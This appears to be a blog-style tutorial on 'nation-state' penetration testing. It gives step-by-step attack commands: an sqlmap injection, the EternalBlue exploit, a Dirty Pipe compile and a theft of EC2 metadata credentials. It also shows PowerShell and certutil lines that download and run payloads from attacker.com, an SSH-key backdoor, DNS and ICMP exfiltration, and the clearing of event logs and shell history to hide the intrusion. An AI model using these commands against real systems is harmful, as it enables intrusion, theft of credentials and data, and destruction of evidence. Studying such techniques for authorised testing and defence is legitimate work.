A Nation-State Penetration Test is an advanced assessment that simulates real-world cyberattacks used by intelligence agencies and state-backed hackers. It involves deep reconnaissance, stealth exploitation, privilege escalation, and long-term persistence within high-security networks.
1️⃣ Step 1: Define the Attack Objectives & Target Scope
A nation-state penetration test is not a standard pentest. It requires a clear goal and an in-depth understanding of the target.
🔹 Key Questions to Define Scope:
✅ What is the primary goal? – Data exfiltration, infrastructure takeover, industrial espionage?
✅ Who is the target? – Government agency, defense contractor, financial institution?
✅ What is the threat model? – Simulating Chinese APTs, Russian cyber ops, NSA-level intrusions?
✅ Legal & Ethical Boundaries? – Ensure proper authorization and strict OPSEC.
🔹 Tools & Frameworks to Define Scope:
- MITRE ATT&CK Framework (Threat Tactics & Techniques)
- Cyber Kill Chain Model (Recon → Initial Access → Persistence → Data Exfiltration)
- NIST Penetration Testing Guide
2️⃣ Step 2: Advanced Reconnaissance & OSINT
Before launching an attack, gather as much intelligence as possible about the target.
🔥 Passive Recon (Stealth Intelligence Gathering)
✅ WHOIS & DNS Enumeration: Identify infrastructure & subdomains.
whois targetdomain.com
dig targetdomain.com ANY
✅ OSINT Gathering (Search Engines, Leaks, Dark Web)
- Google Dorking:
site:targetdomain.com filetype:pdf - Shodan & Censys: Scan open ports & exposed devices.
shodan search "org:targetcompany" - LinkedIn Employee Hunting: Identify key personnel for phishing.
🔥 Active Recon (Direct Interaction)
✅ Nmap Scan for Firewall Evasion:
nmap -sS -sV --top-ports 1000 --max-retries 1 -T4 target_ip
✅ Web Application Scanning (Burp Suite, SQLmap, OWASP Zap)
sqlmap -u "http://target.com/login.php?id=1" --dbs
✅ Email & Phishing Attack Recon (Hunter.io, TheHarvester)
theharvester -d targetdomain.com -l 500 -b google
3️⃣ Step 3: Initial Access & Exploitation
Once recon is complete, the goal is to gain initial access via vulnerabilities, phishing, or social engineering.
🔥 Exploitation Techniques
✅ Weaponized Phishing & Spear Phishing (APT-Level)
- Craft highly targeted phishing emails using GoPhish or Evilginx2.
- Use Deepfake or Voice AI to impersonate trusted contacts.
- Deploy malicious macros in Microsoft Office attachments.
✅ Zero-Day Exploitation & Advanced Payloads
- Use Metasploit, Cobalt Strike, or Sliver Framework for stealth payloads.
- Exploit MS17-010 (EternalBlue) for Windows Targets:
use exploit/windows/smb/ms17_010_eternalblue set RHOST target_ip exploit - Exploit Linux Privilege Escalation (Dirty Pipe, PwnKit):
gcc -o exploit dirty_pipe.c ./exploit
✅ Cloud & VPN Exploits (Azure, AWS, Cisco VPN)
- AWS Credentials Extraction (EC2 Metadata Attack):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ - VPN Credential Harvesting via MitM Attacks
4️⃣ Step 4: Maintaining Access (Persistence)
Once inside, the focus shifts to staying undetected and maintaining long-term access.
🔥 Persistence Techniques
✅ Backdoor Creation Using PowerShell & C2 Frameworks
Invoke-WebRequest -Uri "http://attacker.com/payload.exe" -OutFile "C:\Users\Public\payload.exe"
Start-Process "C:\Users\Public\payload.exe"
✅ Kernel-Level Rootkits (Linux & Windows)
- Use Hidden SSH Keys for Linux persistence:
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys - Deploy Windows DLL Hijacking & Service Abuse.
✅ Living Off The Land (LOLBin Attacks)
- Use legitimate Windows binaries (certutil, mshta, rundll32) for malware execution.
- Example: Using Certutil for File Transfer
certutil.exe -urlcache -split -f http://attacker.com/malware.exe C:\Users\Public\malware.exe
5️⃣ Step 5: Data Exfiltration & Cleanup
Once critical data is accessed, it must be extracted without detection.
🔥 Stealth Data Exfiltration Methods
✅ Using Encrypted DNS Tunnels (DNSCat2, Iodine)
dnscat2 --host target.com
✅ Exfiltrating Data via Covert Channels (Slack, Telegram, ICMP)
- ICMP Tunnel for Data Exfiltration
hping3 -1 --data 100 target_ip
✅ Encrypting Data Before Transfer
gpg --encrypt --recipient "attacker@protonmail.com" sensitive_data.txt
🔥 Covering Tracks & Log Tampering
✅ Delete Windows Event Logs (Sysmon Evasion)
wevtutil cl Security
✅ Modify Linux Bash History
echo > ~/.bash_history && history -c
🔚 Conclusion: Advanced Nation-State Penetration Testing
✔ Conducted full recon using OSINT & network scanning
✔ Exploited vulnerabilities to gain system access
✔ Maintained persistence with stealth techniques
✔ Exfiltrated data while remaining undetected
✔ Erased forensic traces to avoid detection
